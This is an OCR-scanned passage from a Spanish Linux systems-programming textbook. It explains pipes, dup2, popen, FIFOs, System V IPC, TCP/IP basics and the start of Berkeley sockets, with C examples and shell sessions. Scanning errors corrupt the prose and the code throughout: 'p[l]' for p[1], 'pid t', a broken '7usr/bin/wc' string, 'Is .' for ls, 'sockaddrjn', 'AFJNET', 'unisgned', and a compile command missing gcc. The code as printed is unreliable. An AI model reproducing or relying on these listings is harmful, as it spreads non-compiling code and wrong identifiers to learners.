Asi pues, cuando el proceso escritor desea escribir en la tuberia, utiliza las 
funciones normales para escribir en la salida estandar. Lo unico especial que 
sucede es que el descriptor de fichero que esta utilizando ya no corresponde 
al terminal (ya no se escriben cosas por la pantalla), sino que se trata de un 
fichero especial que ha creado el nucleo. El proceso lector se comporta de 
forma muy similar: utiliza las llamadas normales para recoger valores de la 
entrada estandar, solo que esta ya no se corresponde con el teclado, sino que 
sera el extremo de la tuberia. Los procesos estan autorizados a realizar 
lecturas no bloqueantes de la tuberia, es decir, si no hay datos para ser 
leidos o si la tuberia esta bloqueada, se devolvera un error. Cuando ambos 
procesos han terminado con la tuberia, el inodo de la tuberia es desechado 
junto con la pagina de datos compartidos. 

El uso de un pipe a mi me recuerda a los antiguos "telefonos" que 
haciamos mi hermana y yo con dos envases de yogur y una cuerda muy fina. 
Uniamos los fondos de los yogures con la cuerda, y cuando esta estaba muy 
tensa, al hablar por un yogur, se escuchaba en la otra parte. Era un metodo 
divertido de contar secretos, pero tenia el mismo inconveniente que los 
pipes: si uno de los dos estaba hablando, el otro no podia hacerlo al mismo 
tiempo o no valia para nada. Era una comunicacion unidireccional, al 
contrario de lo que pasa con los telefonos modernos: 




escribir leer 



Figura 1.5.6 Una tuberia es unidireccional, como los telefonos de 
yogur. 

La utilizacion de tuberias mediante el uso de la shell es "el pan nuestro 
de cad a dia" , cualquier administrador de sistemas medianamente preparado 
encadena comandos y comandos mediante tuberias de forma natural: 

txipi@neon:~$ cat /etc/passwd | grep bash | wc -lines 
11 

Los comandos "cat", "grep" y "wc" se lanzan en paralelo y el primero va 
"alimentando" al segundo, que posteriormente "alimenta" al tercero. Al final 
tenemos una salida filtrada por esas dos tuberias. Las tuberias empleadas 
son destruidas al terminar los procesos que las estaban utilizando. 
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Utilizar tuberias en C es tambien bastante sencillo, si bien a veces es 
necesario emplear lapiz y papel para no liarse con tanto descriptor de 
fichero. Ya vimos anteriormente que para abrir un fichero, leer y escribir en 
el y cerrarlo, se empleaba su descriptor de fichero. Una tuberia tiene en 
realidad dos descriptores de fichero: uno para el extremo de escritura y otro 
para el extremo de lectura. Como los descriptores de fichero de UNIX son 
simplemente enteros, un pipe o tuberia no es mas que un array de dos 
enteros: 



int tuberia[2]; 



Para crear la tuberia se emplea la funcion pipe (J que abre dos 
descriptores de fichero y almacena su valor en los dos enteros que contiene 
el array de descriptores de fichero. El primer descriptor de fichero es abierto 
como o_rdonly , es decir solo puede ser empleado para lecturas. El sequndo 
se abre como o_wronly, limitando su uso a la escritura. De esta manera se 
asequra que el pipe sea de un solo sentido: por un extremo se escribe y por 
el otro se lee, pero nunca al reves. Ya hemos dicho que si se precisa una 
comunicacion "full-duplex", sera necesario crear dos tuberias para ello. 



int tuberia[2]; 



pipe(tuberia); 



Una vez creado un pipe, se podran hacer lecturas y escrituras de manera 
normal, como si se tratase de cualquier fichero. Sin embarqo, no tiene 
demasiado sentido usar un pipe para uso propio, sino que se suelen utilizar 
para intercambiar datos con otros procesos. Como ya sabemos, un proceso 
hijo hereda todos los descriptores de ficheros abiertos de su padre, por lo 
que la comunicacion entre el proceso padre y el proceso hijo es bastante 
comoda mediante una tuberia. Para asequrar la unidireccionalidad de la 
tuberia, es necesario que tanto padre como hijo cierren los respectivos 
descriptores de ficheros. En la siquiente fiqura vemos como un proceso 
padre puede enviarle datos a su hijo a traves de una tuberia. Para ello el 
proceso padre cierra el extremo de lectura de la tuberia, mientras que el 
proceso hijo cierra el extremo de escritura de la misma: 



Padre 



-€ 



p[2] 



Hijo 



p[l] (escritura) 



p[0] (lectura) 
j5J33^=4*se«±iiFaT 



Figura 1.5.7 El proceso padre y su hijo comparten datos mediante una 
tuberia. 
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La tuberia "p" se hereda al hacer el fork( que da lugar al proceso hijo, 
pero es necesario que el padre haga un close(de p[0] (el lado de lectura de la 
tuberia), y el hijo haga un closeO de p[i] (el lado de escritura de la tuberia). 
Una vez hecho esto, los dos procesos pueden emplear la tuberia para 
comunicarse (siempre unidireccionalmente), haciendo write() en p[i] y read() en 
p[0], respectivamente. Veamos un ejemplo de este tipo de situacion: 

#include <sys/types.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <stdio.h> 

#define SIZE 512 

int main( int argc, char **argv ) 
{ 

pid t pid; 

int p[2], readbytes; 
char buffer[SIZE]; 

pipe( p ); 

if ( (pid=fork()) == 0 ) 
{ // hijo 

close( p[l] ); /* cerramos el lado de escritura del pipe */ 

while( (readbytes=read( p[0], buffer, SIZE )) > 0) 
write( 1, buffer, readbytes ); 

close( p[0] ); 

} 

else 

{ // padre 

close( p[0] ); /* cerramos el lado de lectura del pipe */ 

strcpy( buffer, "Esto Mega a traves de la tuberia\n" ); 
write( p[l], buffer, strlen( buffer ) ); 

close( p[l] ); 

} 

waitpid( pid, NULL, 0 ); 
exit( 0 ); 

} 

La salida de este programa no es muy espectacular, pero muestra el 
funcionamiento del mismo: se crean dos procesos y uno (el padre) le 
comunica un mensaje al otro (el hijo) a traves de una tuberia. El hijo al 
recibir el mensaje, lo escribe por la salida estandar (hace un writeO en el 
descriptor de fichero 1). Por ultimo cierran los descriptores de ficheros 
utilizados, y el padre espera al hijo a que finalice: 

txipi@neon:~$ gcc pipefork.c -o pipefork 

txipi@neon:~$ ./pipefork 

Esto Mega a traves de la tuberia 
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Veamos ahora como implementar una comunicacion bidireccional entre 
dos procesos mediante tuberias. Como ya hemos venido diciendo, sera 
preciso crear dos tuberias diferentes (a[2]y b[2}, una para cada sentido de la 
comunicacion. En cada proceso habra que cerrar descriptores de ficheros 
diferentes. Vamos a emplear el pipe a[2] para la comunicacion desde el padre 
al hijo, y el pipe b[2] para comunicarnos desde el hijo al padre. Por lo tanto, 
deberemos cerrar: 

■ En el padre: 

o el lado de lectura de a [2]. 
o el lado de escritura de b[2]. 

■ En el hijo: 

o el lado de escritura de a[2]. 
o el lado de lectura de b[2]. 



Tal y como se puede ver en la siguiente figura: 





Figura 1.5.8 Dos procesos se comunican bidireccionalmente con dos 
tuberias. 

El codigo anterior se puede modificar para que la comunicacion sea 
bidireccional: 

#include <sys/types.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <stdio.h> 

#define SIZE 512 

int main( int argc, char **argv ) 
{ 

pid_t pid; 
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int a[2], b[2], readbytes; 
char buffer[SIZE]; 

pipe( a ); 
pipe( b ); 

if ( (pid=fork()) == 0 ) 
{ // hijo 

close( a[l] ); /* cerramos el lado de escritura del pipe */ 
close( b[0] ); /* cerramos el lado de lectura del pipe */ 

while( (readbytes=read( a[0], buffer, SIZE ) ) > 0) 

write( 1, buffer, readbytes ); 
close( a[0] ); 

strcpy( buffer, "Soy tu hijo hablandote por 

la otra tuberiaAn" ); 
write( b[l], buffer, strlen( buffer ) ); 
close( b[l] ); 

} 

else 

{ // padre 

close( a[0] ); /* cerramos el lado de lectura del pipe */ 
close( b[l] ); /* cerramos el lado de escritura del pipe */ 

strcpy( buffer, "Soy tu padre hablandote 

por una tuberiaAn" ); 
write( a[l], buffer, strlen( buffer ) ); 
close( a[l]); 

while( (readbytes=read( b[0], buffer, SIZE )) > 0) 

write( 1, buffer, readbytes ); 
close( b[0]); 

} 

waitpid( pid, NULL, 0 ); 
exit( 0 ); 

} 



La salida de este ejemplo es tambien bastante simple: 

txipi@neon:~$ dospipesfork.c -o dospipesfork 
txipi@neon:~$ ./dospipesfork 
Soy tu padre hablandote por una tuberia. 
Soy tu hijo hablandote por la otra tuberia. 



Avancemos en cuanto a conceptos teoricos. La fimcion dupOduplica un 
descriptor de fichero. A simple vista podria parecer trivial, pero es muy util a 
la hora de utilizar tuberias. Ya sabemos que inicialmente, el descriptor de 
fichero 0 corresponde a la entrada estandar el descriptor 1 a la salida 
estandar y el descriptor 2 a la salida de error estandar. Si empleamos dup() 
para duplicar alguno de estos descriptores en uno de los extremos de una 
tuberia, podremos realizar lo mismo que hace la shell cuando enlaza dos 
comandos mediante una tuberia: reconducir la salida estandar de un proceso 
a la entrada estandar del siguiente. El prototipo de la fimcion dup() es el 
siguiente: 
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int dup(int oldfd); 

int dup2(int oldfd, int newfd); 

La funcion dupOasigna el descriptor mas bajo de los disponibles al 
descriptor antiguo, por lo tanto, para asignar la entrada estandar a uno de 
los lados de un pipe es necesario cerrar el descriptor de fichero 0 justo antes 
de llamar a dup(): 

close( 0 ); 
dup( p[l] ); 

Como dupOduplica siempre el descriptor mas bajo disponible, si cerramos 
el descriptor 0 justo antes de llamarla, ese sera el descriptor gue se 
dupligue. Para evitar lios de cerrar descriptores con vistas a ser duplicados y 
demas, se creo dup2(), gue simplemente recibe los dos descriptores de fichero 
y los duplica: 

dup2( p[l], 0 ); 

El siguiente ejemplo emplea estas llamadas para concatenar la ejecucion 
de dos comandos, "cat" y "wc". El proceso hijo realiza un "cat" de un fichero, y 
lo encamina a traves de la tuberia. El proceso padre recibe ese fichero por la 
tuberia y se lo pasa al comando "wc" para contar sus lineas: 

#include <sys/types.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <stdio.h> 

#define COMMAND1 "/bin/cat" 
#define COMMAND2 7usr/bin/wc" 

int main( int argc, char **argv ) 
{ 

pid t pid; 
int p[2]; 

pipe(p); 

if ( (pid=fork()) == 0 ) 
{ // hijo 

close(p[0]); /* cerramos el lado de lectura del pipe */ 
dup2(p[l], 1); /* STDOUT = extremo de salida del pipe */ 
close(p[l]); /* cerramos el descriptor de fichero que sobra 
tras el dup2 */ 

execlp(COMMANDl, COMMAND1, argv[l], NULL); 

perror("error"); /* si estamos aquf, algo ha fallado */ 
_exit(l); /* salir sin flush */ 

} 

else 

{ // padre 

close(p[l]); /* cerramos el lado de escritura del pipe */ 
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dup2(p[0], 0); /* STDIN = extremo de entrada del pipe */ 
close(p[0]); /* cerramos el descriptor de fichero que sobra 
tras el dup2 */ 

execlp(COMMAND2, COMMAND2, NULL); 

perror("error"); /* si estamos aqui, algo ha fallado */ 
exit(l); /* salir con flush */ 

} 

return 0; 

} 

La salida de este programa es bastante predecible, el resultado es el 
mismo que encadenar el comando "cat" del fichero pasado por parametro, 
con el comando "wc": 

txipi@neon:~$ gcc pipecommand.c -o pipecommand 
txipi@neon:~$ ./pipecommand pipecommand.c 

50 152 980 
txipi@neon:~$ cat pipecommand.c | wc 

50 152 980 

Como vemos, las llamadas a comandos y su intercomunicacion mediante 
tuberias puede ser un proceso bastante lioso, aunque se utiliza en multitud 
de ocasiones. Es por esto que se crearon las llamadas popen() y pclose(). 
Mediante popen() tenemos todo el trabajo sucio reducido a una sola llamada 
que crea un proceso hijo, lanza un comando, crea un pipe y nos devuelve un 
puntero a fichero para poder utilizar la salida de ese comando como nosotros 
queramos. La definicion de estas funciones es la siguiente: 

FILE *popen(const char *command, const char *type); 
int pclose(FILE *stream); 

El siguiente codigo es una muestra clara de como se puede hacer una 
llamada utilizando tuberias y procesos hijo, de forma sencillisima: 

#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <fcntl.h> 
#include <limits.h> 

#define SIZE PIPE_BUF 

int main(int argc, char *argv[]) 
{ 

FILE *file; 

char *command= "Is ."; 
char buffer[SIZE]; 

file=popen( command, "r" ); 

while( !feof( file ) ) 
{ 

fscanf( file, "%s", &buffer ); 
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printf( "%s\n", buffer ); 

} 

pclose( file ); 
return 0; 

} 

Nuestro programa simplemente crea un proceso hijo que sera 
reemplazado por una llamada al comando "I s "., y se nos devolvera un 
puntero a un fichero que sera el resultado de ese comando. Leemos ese 
fichero y lo escribimos por pantalla. Al finalizar, cerramos la tuberia con 
pclose(.)La salida de este programa, es esta: 

txipi@neon:~$ gcc popen.c -o popen 

txipi@neon:~$ ./popen 

dospipesfork 

dospipesfork.c 

pipecommand 

pipecommand.c 

pipefork 

pipefork.c 

popen 

popen.c 

Linux tambien soporta tuberias con nombre, denominadas habitualmente 
FIFOs, (First in First out) debido a que las tuberias funcionan como una cola: 
el primero en entrar es el primero en salir. A diferencia de las tuberias sin 
nombre, los FIFOs no tiene caracter temporal sino que perduran aunque dos 
procesos hayan dejado de usarlos. Para crear un FIFO se puede utilizar el 
comando "mkfifo o bien llamar a la funcion de C mkfifo(:) 

int mkfifo(const char *pathname, mode_t mode); 

Esta funcion recibe dos parametros: "pathname" indica la ruta en la que 
queremos crear el FIFO, y "mode " indica el modo de acceso a dicho FIFO. 
Cualquier proceso es capaz de utilizar un FIFO siempre y cuando tengan los 
privilegios necesarios para ello. No nos extenderemos mas en la creacion de 
tuberias con nombre ya que su manejo es bastante similar a lo visto hasta 
ahora. 

1.5.6.3 IPC System V 

Colas de mensajes 

Mediante las colas de mensajes un proceso puede escribir mensajes que 
podran ser leidos por uno o mas procesos diferentes. En GNU/Linux este 
mecanismo esta implementado mediante un array de colas de mensajes, 
msgque . Cada posicion de este array es una estructura de tipo msgid_ds que 
gestionara la cola mediante punteros a los mensajes introducidos en ella. 
Estas colas, ademas, controlan cuando fue la ultima vez que se escribio en 
ellas, y proporcionan dos colas de espera: una para escritores de la cola y 
otra para lectores de la cola. 
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Cuando un proceso escribe un mensaje en la cola de escritura, este se 
posiciona al final de la misma (tiene una gestion FIFO) si es que existe 
espacio suficiente para ser albergado (Linux limita el numero y tamano de 
los mensajes para evitar ataques de Denegacion de Servicio). Previo a 
cualquier escritura, el sistema comprueba si realmente el proceso esta 
autorizado para escribir en la cola en cuestion, comparando las credenciales 
del proceso con los permisos de la cola. Asimismo, cuando un proceso quiere 
leer de esa cola, se realiza una comprobacion similar, para evitar que 
procesos no autorizados lean mensajes importantes. Si un proceso desea leer 
un mensaje de la cola y no existe ningun mensaje del tipo deseado, el 
proceso se anadira a la cola de espera de lectura y se cambiara de contexto 
para que deje de estar active 

La implementacion practica en C de colas de mensajes queda fuera del 
alcance de este texto. 

Semaforos 

Un semaforo es un mecanismo del sistema para evitar la colision cuando 
dos o mas procesos necesitan un recurso. Los semaforos IPC reflejan 
bastante fielmente la definicion clasica de Dijkstra, realmente son variables 
enteras con operaciones atomicas de inicializacion, incremento y decremento 
con bloqueo. Cada semaforo es un contador que se inicializa a un 
determinado valor. Cuando un proceso hace uso del recurso asignado a ese 
semaforo, el contador se decrementa una unidad. Cuando ese proceso libera 
el recurso, el contador del semaforo se incrementa. Asi pues, el contador de 
un semaforo siempre registra el numero de procesos que pueden utilizar el 
recurso actualmente. Dicho contador puede tener valores negativos, si el 
numero de procesos que precisan el recurso es mayor al numero de procesos 
que pueden ser atendidos simultaneamente por el recurso. 

Por recurso entendemos cualquier cosa que pueda ser susceptible de ser 
usada por un proceso y pueda causar un interbloqueo: una region de 
memoria, un fichero, un dispositivo fisico, etc. Imaginemos que creamos un 
semaforo para regular el uso de una impresora que tiene capacidad para 
imprimir tres trabajos de impresion simultaneamente. El valor del contador 
del semaforo se inicializaria a tres. Cuando llega el primer proceso que 
desea imprimir un trabajo, el contador del semaforo se decrementa. El 
siguiente proceso que quiera imprimir todavia puede hacerlo, ya que el 
contador aun tiene un valor mayor que cero. Conforme vayan llegan 
procesos con trabajos de impresion, el contador ira disminuyendo, y cuando 
llegue a un valor inferior a uno, los procesos que soliciten el recurso tendran 
que esperar. Un proceso a la espera de un recurso controlado por un 
semaforo siempre es privado del procesador, el planificador detecta esta 
situacion y cambia el proceso en ejecucion para aumentar el rendimiento. 
Conforme los trabajos de impresion vayan acabando, el contador del 
semaforo ira incrementandose y los procesos a la espera iran siendo 
atendidos. 
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Es muy importante la caracteristica de atomicidad de las operaciones 
sobre un semaforo. Para evitar errores provocados por condiciones de 
carrera ("race conditions"), los semaforos protegen su contador, asegurando 
que todas las operaciones sobre esa variable entera (lectura, incremento, 
decremento) son atomicas, es decir, no seran interrumpidas a la mitad de su 
ejecucion. Recordamos que estamos en un entorno multiprogramado en el 
que ningun proceso se asegura que vaya a ser ejecutado de principio a fin 
sin interrupcion. Las actualizaciones y consultas de la variable contador de 
un semaforo IPC son la excepcion a este hecho: una vez iniciadas, no son 
interrumpidas. Con esto se consigue evitar fallos a la hora de usar un 
recurso protegido por un semaforo: imaginemos que en un entorno en el que 
hay cuatro procesadores trabajando concurrentemente, cuatro procesos leen 
a la vez el valor del contador del semaforo anterior (impresora). Supongamos 
que tiene un valor inicial de tres. Los cuatro procesos leen un valor positivo y 
deciden usar el recurso. Decrementan el valor del contador, y cuando se 
disponen a usar el recurso, resulta que hay cuatro procesos intentando 
acceder a un recurso que solo tiene capacidad para tres. La proteccion de la 
variable contador evita este hecho, por eso es tan importante. 

La implementacion practica en C de semaforos IPC queda fuera del 
alcance de este texto. 

Memoria compartida 

La memoria compartida es un mecanismo para compartir datos entre dos 
o mas procesos. Dichos procesos comparten una parte de su espacio de 
direccionamiento en memoria, que puede coincidir en cuanto a direccion 
virtual o no. Es decir, imaginemos que tenemos dos libros compartiendo una 
pagina. El primer libro es "El Quijote de la Mancha", y el segundo es un libro 
de texto de 6 Q de primaria. La pagina 50 del primer libro es compartida por 
el segundo, pero puede que no corresponda con el mimero de pagina 50, 
sino que este en la pagina 124. Sin embargo la pagina es la misma, a pesar 
de que no este en el mismo sitio dentro del direccionamiento de cada 
proceso. Los accesos a segmentos de memoria compartida son controlados, 
como ocurre con todos los objetos IPC System V, y se hace un chequeo de los 
permisos y credenciales para poder usar dicho segmento. Sin embargo, una 
vez que el segmento de memoria esta siendo compartido, su acceso y uso 
debe ser regulado por los propios procesos que la comparten, utilizando 
semaforos u otros mecanismos de sincronizacion. 

La primera vez que un proceso accede a una de las paginas de memoria 
virtual compartida, tiene lugar un fallo de pagina. El Sistema Operativo trata 
de solventar este fallo de pagina y se da cuenta de que se trata de una 
pagina correspondiente a un segmento de memoria compartida. Entonces, se 
busca la pagina correspondiente a esa pagina de memoria virtual 
compartida, y si no existe, se asigna una nueva pagina fisica. 

La manera mediante la que un proceso deja de compartir una region o 
segmento de memoria compartida es bastante similar a lo que sucede con los 
enlaces entre ficheros: al borrarse un enlace no se procede al borrado del 
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fichero enlazado a no ser que ya no existan mas enlaces a dicho fichero. 
Cuando un proceso se desenlaza o desencadena de un segmento de 
memoria, se comprueba si hay mas procesos utilizandolo. Si es asi, el 
segmento de memoria continua como hasta entonces, pero de lo contrario, 
se libera dicha memoria. 

Es bastante recomendable bloquear en memoria fisica la memoria virtual 
compartida para que no sea reemplazada ("swapping") por otras paginas y 
se almacene en disco. Si bien un proceso puede que no use esa pagina en 
mucho tiempo, su caracter compartido la hace susceptible de ser mas usada 
y el reemplazo provocaria una caida del rendimiento. 

La implementacion practica en C de la comunicacion mediante memoria 
compartida queda fuera del alcance de este texto. 

1.5.7 Comunicacion por red 

Muchas de las utilidades que usamos todos los dias, como el correo 
electronico o los navegadores web, utilizan protocolos de red para 
comunicarse. En este apartado veremos como utilizar esos protocolos, 
comprenderemos todo lo que rodea a una comunicacion a traves de los 
interfaces de red y aprenderemos a programar clientes y servidores 
sencillos. 

1.5.7.1 Breve repaso a las redes TCP/IP 

Antes de afrontar la configuracion de red de nuestros equipos, vamos a 
desempolvar nuestras nociones sobre redes TCP/IP. Siempre que se habla de 
redes de ordenadores, se habla de protocolos. Un protocolo no es mas que 
un acuerdo entre dos entidades para entenderse. Es decir, si yo le digo a un 
amigo que le dejo una llamada perdida cuando llegue a su portal, para que 
baje a abrirme, habremos establecido un protocolo de comunicacion, por 
ejemplo. 

Los ordenadores funcionan de una forma mas o menos parecida. 
Cuando queremos establecer una conexion entre ordenadores 
mediante una red, hay muchos factores en juego: primero esta el 
medio fisico en el que se producira la conexion (cable, ondas 
electromagneticas, etc.), por otro lado esta la tecnologia que se 
utilizara (tarjetas de red Ethernet, modems, etc.), por otro los 
paquetes de datos que enviaremos, las direcciones o destinos 
dentro de una red... Dado que hay tantos elementos que intervienen 
en una comunicacion, se establecen protocolos o normas para 
entidades del mismo nivel, es decir, se divide todo lo que interviene 
en la comunicacion en diferentes capas. En el nivel mas bajo de 
todas las capas estana el nivel fisico: el medio que se va a utilizar, 
los voltajes utilizados, etc. Sobre esa capa se construye la siguiente, 
en donde transformamos las sehales electricas en datos 
propiamente dichos. Esta seria la capa de enlace de datos. 
Posteriomnente, se van estableciendo una serie de capas 
intermedias, cada una con mayor refinamiento de la informacion 
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que maneja, hasta llegar a la capa de aplicacion, que es con la que 
interactuan la mayona de programas que utilizamos para 
conectarnos a redes: navegadores, clientes de correo, etc. 

Asi, por ejemplo, si queremos mandar un correo electronico a un amigo, 
utilizaremos la aplicacion indicada para mandar un mensaje, en este caso 
nuestro cliente de correo preferido (mutt, Kmail, mozilla...). El cliente de 
correo enviara el mensaje al servidor, para que este lo encamine hasta el 
buzon de nuestro amigo, pero en ese envio sucederan una serie de pasos que 
pueden parecernos transparentes en un principio: 

■ Primeramente se establece una conexion con el servidor, 
para ello la aplicacion (el cliente de correo) enviara a las 
capas mas bajas de protocolos de red una peticion al 
servidor de correo. 

■ Esa capa, aceptara la peticion, y realizara otro encargo a 
una capa inferior, solicitando enviar un paquete de datos 
por la red. 

■ La capa inferior, a su vez, pedira a la capa fisica enviar 
una serie de senales electricas por el medio, para hacer 
su cometido. 

Tal y como esta enfocada la "pila de protocolos de red", cada "trabajo" de 
red complejo se divide en partes cada vez mas sencillas hasta llegar a la 
capa fisica, que se encargara de la transmision electrica. Es como si el jefe 
de una empresa de videojuegos mandara a su subdirector que hiciera un 
juego de accion. El subdirector iria a donde sus subordinados y les pediria 
un guion, unos graficos, un motor de animaciones, etc. Los encargados de 
los graficos irian a donde sus subordinados y les pedirian, la portada, los 
decorados, los personajes, etc. Estos, a su vez, se repartirian en grupos y 
cada uno haria un trabajo mas concreto, y asi sucesivamente. Es decir, una 
idea compleja, se divide en trabajos concretos y sencillos para hacerse, 
estructurandose en capas. 

En el caso especifico que nos interesa, la pila de protocolos que 
utilizamos se denomina TCP/IP, porque dos de sus protocolos principales se 
llaman TCP (capa de transported e IP (capa de red). 
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Figura 1.5.9 Comunicacion mediante capas de protocolos de red. 

Cuando utilizamos estos protocolos, cada uno de los posibles destinos de 
una red necesita un nombre diferente o direccion IP. Al igual que sucede con 
los telefonos, para diferenciar todos los ordenadores y dispositivos 
conectados a una red, se les asigna a cada uno un numero diferente, y basta 
con "marcar" ese numero para acceder a el. Actualmente esos numeros van 
desde el 0 al 4294967296, pero en lugar de utilizar simplemente el numero, 
se emplea una notacion mas sencilla, separando el numero en 4 digitos del 0 
al 255, por ejemplo: 128.244.34.12 6 192.168.0.1. 

En un futuro no muy lejano, las direcciones IP cambiaran su formato, ya 
que el espacio de direcciones que ofrece la version actual de IP (IPv4) se 
esta agotando, por lo que habra que ampliar su rango (al igual que ocurre en 
ciudades o provincias con mucha demanda de numeros de telefono, que 
amplian la longitud de sus numeros de telefono en una o varias cifras). 

Siempre que queramos acceder a una red TCP/IP, deberemos tener una 
direccion IP que nos identifique. Esta prohibido viajar sin matricula por estas 
carreteras. En nuestras redes privadas, nuestras intranets o pequenas LANs, 
la manera de establecer esas direcciones IP la marcamos nosotros mismos (o 
el administrador de red, en su caso). Es decir, dentro de nuestras 
organizaciones, somos nosotros los que ponemos los nombres. Esto es lo 
mismo que lo que sucede en una organizacion grande, con muchos telefonos 
internos y una centralita. El numero de extension de cada telefono, lo 
inventamos nosotros mismos, no la compama telefonica. Cuando queremos 
salir a una red publica como pueda ser Internet, no podemos inventarnos 
nuestra direccion IP, deberemos seguir unas normas externas para poder 
circular por alii. Siguiendo el simil telefonico, si queremos un telefono 
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accesible por todo el mundo, deberemos solicitar un numero valido a la 
empresa telefonica. 

Hasta aqui todo claro: los ordenadores tienen unos numeros similares a 
los numeros de telefono para identificarse, y cuando queremos comunicarnos 
con un destino en concreto, solo tenemos que "marcar" su numero, pero... 
tcuando pedimos una paqina web a www.linux.orq como sabe nuestra 
maquina que numero "marcar"? Buena prequnta, tiene que haber un "listin 
telefonico" IP, que nos diqa que IP corresponde con una direccion especifica. 
Estas "paqinas amarillas" de las redes IP se denominan DNS (Domain Name 
System). Justo antes de hacer la conexion a www.linux.orq, nuestro 
naveqador le prequnta la direccion IP al DNS, y lueqo conecta via direccion 
IP con el servidor web www.linux.orq. 

Una conexion de un ordenador a otro precisa, ademas de una direccion IP 
de destino, un numero de puerto. Si llamamos por telefono a un numero 
normalmente prequntamos por alquien en concreto. Llamas a casa de tus 
padres y prequntas por tu hermano pequeno. Con las comunicaciones 
telematicas sucede alqo parecido: llamas a una determinada IP y prequntas 
por un servicio en concreto, por ejemplo el Servicio Web, que tiene 
reservado el puerto 80. Los servicios reservan puertos y se quedan a la 
escucha de peticiones para esos puertos. Existen un monton de puertos que 
tipicamente se usan para servicios habituales: el 80 para web, el 20 y 21 
para FTP, el 23 para telnet, etc. Son los puertos "bien conocidos" ("well 
known ports") y suelen ser puertos reservados, por debajo de 1024. Para 
aplicaciones extranas o de ambito personal se suelen utilizar puertos "altos", 
por encima de 1024. El numero de puerto lo define un entero de 16 bits, es 
decir, hay 65535 puertos disponibles. Un servidor o servicio no es mas que 
un proqrama a la escucha de peticiones en un puerto. Asi pues, cuando 
queramos conectarnos a un ordenador, tendremos que especificar el par 
"Direcci6nlP:Puerto 

Con esta breve introduccion hemos repasado nociones basicas de lo que 
son protocolos de comunicaciones, la pila de protocolos TCP/IP, el 
direccionamiento IP, y la resolucion de nombres o DNS. 

1.5.7.2 Sockets 

Un socket es, como su propio nombre indica, un conector o enchufe. Con 
el podremos conectarnos a ordenadores remotos o permitir que estos se 
conecten al nuestro a traves de la red. En realidad un socket no es mas que 
un descriptor de fichero un tanto especial. Recordemos que en UNIX todo es 
un fichero, asi que para enviar y recibir datos por la red, solo tendremos que 
escribir y leer en un fichero un poco especial. 

Ya hemos visto que para crear un nuevo fichero se usan las llamadas 
open()o create) sin embarqo, este nuevo tipo de ficheros se crea de una forma 
un poco distinta, con la funcion socketQ: 

int socket(int domain, int type, int protocol); 
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Una vez creado un socket, se nos devuelve un descriptor de fichero, al 
igual que ocurria con open( ) o creatOy a partir de ahi ya podriamos tratarlo, si 
quisieramos, como un fichero normal. Se pueden hacer read() y write() sobre 
un socket, ya que es un fichero, pero no es lo habitual. Existen funciones 
especificamente disehadas para el manejo de sockets, como send() o recv(), 
que ya iremos viendo mas adelante. 

Asi pues, un socket es un fichero un poco especial, que nos va a servir 
para realizar una comunicacion entre dos procesos. Los sockets que 
trataremos nosotros son los de la API (Interfaz de Programacion de 
Aplicaciones) de sockets Berkeley, disehados en la universidad del mismo 
nombre, y nos centraremos exclusivamente en la programacion de clientes y 
servidores TCP/IP. Dentro de este tipo de sockets, veremos dos tipos: 

■ Sockets de flujo (TCP). 

■ Sockets de datagramas (UDP). 

Los primeros utilizan el protocolo de transporte TCP, definiendo una 
comunicacion bidireccional, confiable y orientada a la conexion: todo lo que 
se envie por un extremo de la comunicacion, llegara al otro extremo en el 
mismo orden y sin errores (existe correccion de errores y retransmision). 

Los sockets de datagramas, en cambio, utilizan el protocolo UDP que no 
esta orientado a la conexion, y es no confiable: si envias un datagrama, 
puede que llegue en orden o puede que llegue fuera de secuencia. No 
precisan mantener una conexion abierta, si el destino no recibe el paquete, 
no ocurre nada especial. 

Alguien podria pensar que este tipo de sockets no tiene ninguna utilidad, 
ya que nadie nos asegura que nuestro trafico llegue a buen puerto, es decir, 
podria haber perdidas de informacion. Bien, imaginemos el siguiente 
escenario: el partido del siglo (todos los ahos hay dos o mas, por eso es el 
partido del siglo), una unica television en todo el edificio, pero una potente 
red interna que permite retransmitir el partido digitalizado en cada uno de 
los ordenadores. Cientos de empleados poniendo cara de contables, pero 
siguiendo cada lance del encuentro... iQue pasaria si se usaran sockets de 
flujo? Pues que la calidad de la imagen seria perfecta, con una nitidez 
asombrosa, pero es posible que para mantener intacta la calidad original 
haya que retransmitir fotogramas semidefectuosos, reordenar los 
fotogramas, etc. Existen muchisimas posibilidades de que no se pueda 
mantener una visibilidad en tiempo real con esa calidad de imagen. IQue 
pasaria si usaramos sockets de datagramas? Probablemente algunos 
fotogramas tendrian algun defecto o se perderian, pero todo fluiria en 
tiempo real, a gran velocidad. Perder un fotograma no es grave (recordemos 
que cada segundo se suelen emitir 24 fotogramas), pero esperar a un 
fotograma incorrecto de hace dos minutos que tiene que ser retransmitido, 
puede ser desesperante (quiza tu veas la secuencia del gol con mas nitidez, 
pero en el ordenador de enfrente hace minutos que lo han festejado). Por 
esto mismo, es muy normal que las retransmisiones de eventos deportivos o 
musicales en tiempo real usen sockets de datagramas, donde no se asegura 
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una calidad perfecta, pero la imagen llegara sin grandes saltos y sin demoras 
por retransmisiones de datos imperfectos o en desorden. 

1.5.7.3 Tipos de datos 

Es muy importante conocer las estructuras de datos necesarias a la hora 
de programar aplicaciones en red. Quiza al principio pueda parecer un tanto 
caotica la definicion de estas estructuras, es facil pensar en 
implementaciones mas eficientes y mas sencillas de comprender, pero 
debemos darnos cuenta de gue la mayoria de estas estructuras son 
modificaciones de otras existentes, mas generales y sobre todo, gue se han 
convertido en un estandar en la programacion en C para UNIX. Por lo tanto, 
no nos gueda mas remedio gue tratar con ellas. 

La siguiente estructura es una structderivada del tipo sockaddr, pero 
especifica para Internet: 

struct sockaddrjn { 

short int sinjamily; // = AFJNET 
unsigned short int sin_port; 
struct in_addr sin_addr; 
unisgned char sin_zero[8]; 

} 

A simple vista parece monstruosamente fea. Necesitabamos una 
estructura gue almacenase una direccion IP y un puerto, <Ly alguien diseno 
eso? (LEn gue estaba pensando? No desesperemos, ya hemos dicho gue esto 
viene de mas atras. Comentemos poco a poco la estructura: 

■ s in fami kyes un entero corto gue indica la "familia de 
direcciones", en nuestro caso siempre tendra el valor 

"AFJNET'. 

■ s inpont entero corto sin signo gue indica el numero de 
puerto. 

■ s in addr estructura de tipo i n addrgue indica la direccion 
IP. 

■ s in zeroarray de 8 bytes rellenados a cero. Simplemente tiene 
